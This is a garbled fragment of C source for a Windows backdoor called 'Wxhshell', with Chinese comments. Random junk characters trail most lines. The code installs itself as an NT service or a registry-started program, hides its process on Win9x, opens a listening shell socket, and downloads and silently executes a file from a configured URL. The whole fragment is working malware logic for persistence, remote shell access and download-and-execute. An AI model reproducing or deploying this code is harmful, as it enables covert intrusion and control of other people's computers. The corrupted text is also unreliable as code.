ULONG InheritedFromUniqueProcessId; km}E&ao
} PROCESS_BASIC_INFORMATION; "-Uqv@
ZO \bCrk
PROCNTQSIP NtQueryInformationProcess; ^Uldyv/
x&gS.b*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iy2AJ|d.
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xQ=L2pX
3UcOpq2i\
HANDLE hProcess; b~+\\,q}
PROCESS_BASIC_INFORMATION pbi; 8yGo\\=T
6}_J;g\|
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z-i$KF
if(NULL == hInst ) return 0; P1ynCe
wHErF
#xo
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $t>ow~Xi
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rgu7g
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0urM@/j+
=l$qwcfbo
if (!NtQueryInformationProcess) return 0; {Yti
4hV~
ir
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CHM+@lD
if(!hProcess) return 0; %[m%QP1;p
x{{ZV]
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;hPo5uZQ
gd ; e-.
CloseHandle(hProcess); YwF\
;Z#DB$o\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #]Q.B\\
if(hProcess==NULL) return 0; _+nlm5
tP/R9Ezp
HMODULE hMod; 9/50+2F
char procName[255]; }!Xj{Eoc
unsigned long cbNeeded; 2aGK}sS6
96CC5
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _ 6'HBE
}MV=t7x9+
CloseHandle(hProcess); .Ue1}'v*,
YS&Q4nv-
if(strstr(procName,"services")) return 1; // 以服务启动 5I@2U vV8
(yi{<$U*
return 0; // 注册表启动 Qtn%h:i
S~
} Uzd\#edxJ
g R)
)K)
// 主模块 +wg|~Lef h
int StartWxhshell(LPSTR lpCmdLine)
9p<ZSh
{ VBI~U?0
SOCKET wsl; 626!6E;T
BOOL val=TRUE; g"L$}#iTsl
int port=0; 421ol
struct sockaddr_in door; ~!W{C_*N
+eD+Z.{
if(wscfg.ws_autoins) Install(); KZSvT{
\LpR7D
port=atoi(lpCmdLine); 4&([<gyR<
o@KK/f
if(port<=0) port=wscfg.ws_port; 4q\bnt
<;Bv6.Z
WSADATA data; Qtpw0t"
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8z
h{?0
!z]2+
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 2bk~6Osp
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pT` oC&
door.sin_family = AF_INET; O
o+pi$W
door.sin_addr.s_addr = inet_addr("127.0.0.1"); UMbM3m=\
door.sin_port = htons(port); L) ]|\|
v5;V$EGD&
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qE&R.I!o
closesocket(wsl); 4R/cN'-
return 1; yk|<P\
} kKqb:
'{?7\+o.x
if(listen(wsl,2) == INVALID_SOCKET) { /!mF,oR!
closesocket(wsl); 8=U0\<wT
return 1; +bw>9VmG
} @Js^=G2
Wxhshell(wsl); x2bKFJ>e@
WSACleanup(); r2]KP(T8|
6RLYpQ$+
return 0; %cl=n!T
YxUC.2V|7$
} j r<`@
$&Ntdn
// 以NT服务方式启动 nM1F4G
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xv%1W?
>@/
{ L:ox$RU
DWORD status = 0; R>iRnrn:-
DWORD specificError = 0xfffffff; .W#-Cl&n8
j[Y$)HF
serviceStatus.dwServiceType = SERVICE_WIN32; J7`fve
serviceStatus.dwCurrentState = SERVICE_START_PENDING; oXef<- :
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Mbua!m(0
serviceStatus.dwWin32ExitCode = 0; Nj<}t/e
serviceStatus.dwServiceSpecificExitCode = 0; SCCBTpmf2B
serviceStatus.dwCheckPoint = 0; {WE1^&Vk-}
serviceStatus.dwWaitHint = 0; O"$uw
Be=J*D!E=>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h2SVDKj
if (hServiceStatusHandle==0) return; `*J;4Ju@
0Y_?r$M
status = GetLastError(); 5v f?E"\r
if (status!=NO_ERROR) .>Gnb2
{ K/,y"DUN&
serviceStatus.dwCurrentState = SERVICE_STOPPED; X2?
^t]-N
serviceStatus.dwCheckPoint = 0; >VQP,J{
serviceStatus.dwWaitHint = 0; D`?=]Ysz(
serviceStatus.dwWin32ExitCode = status; yM*-em
serviceStatus.dwServiceSpecificExitCode = specificError; =ZE]jmD4P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7hs1S|
return; []'gIF
} eDh]uKg
eF[CiO8F2
serviceStatus.dwCurrentState = SERVICE_RUNNING; yMU>vr
serviceStatus.dwCheckPoint = 0; </UUvMf"
serviceStatus.dwWaitHint = 0; -|ho
8alF
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yJCqP=
} tl 0_Sd
Vq'\`$_
// 处理NT服务事件,比如:启动、停止 $2p=vi3
VOID WINAPI NTServiceHandler(DWORD fdwControl) iP7
Cku}l
{ F;4*,Ap
switch(fdwControl) O_zW/#
{ rd*`8B
case SERVICE_CONTROL_STOP: k$u\\`i]oC
serviceStatus.dwWin32ExitCode = 0; ?ztI8I/
serviceStatus.dwCurrentState = SERVICE_STOPPED; S(B$[)(
serviceStatus.dwCheckPoint = 0; q c(R
/[
serviceStatus.dwWaitHint = 0; #GDnV/0)
{ S}O>@%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BHVC&F*>
} m*Zq3j
return;
~ 4v
case SERVICE_CONTROL_PAUSE: (i1JDe
serviceStatus.dwCurrentState = SERVICE_PAUSED; ~4 ~c+^PF
break; |fL|tkGEa
case SERVICE_CONTROL_CONTINUE: ?Uq;>
serviceStatus.dwCurrentState = SERVICE_RUNNING; ans(^Up$
break; L}~"R/iWCT
case SERVICE_CONTROL_INTERROGATE: B0h|Y.S8%1
break; Vu0d\l^$
}; [@VM'@e7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); RP@U0o
} Xkqq$A4
`"(FWK=8)"
// 标准应用程序主函数 S55h}5Y
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N)I9NM[
{ 3WVH8S b
yt'P,m
// 获取操作系统版本 ^n|yfvR
OsIsNt=GetOsVer(); XIGz_g;#'w
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0N|l1Sn
=JkPE2mU
// 从命令行安装 8l1s]Kqr
if(strpbrk(lpCmdLine,"iI")) Install(); :F |ll?
kxanzsSr9
// 下载执行文件 X[ 6#J
if(wscfg.ws_downexe) { NihUCj"
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rD\)ndPv
WinExec(wscfg.ws_filenam,SW_HIDE); rAn:hR{
} kqH:H~sgD
0.aIcc
if(!OsIsNt) { &G|^{!p/G
// 如果时win9x,隐藏进程并且设置为注册表启动 e=cb%
HideProc(); ;p(I0X
StartWxhshell(lpCmdLine); EED0U?
} 33=lR-N#
else [n2+`A
if(StartFromService()) S4_C8
// 以服务方式启动 %lnVzGP
StartServiceCtrlDispatcher(DispatchTable); fTOGW`s^
else )ZW[$:wA
// 普通方式启动 /fSsh;F
StartWxhshell(lpCmdLine); ;e"dxAUe!^
r)
u@,P
return 0; :#VdFMC<
}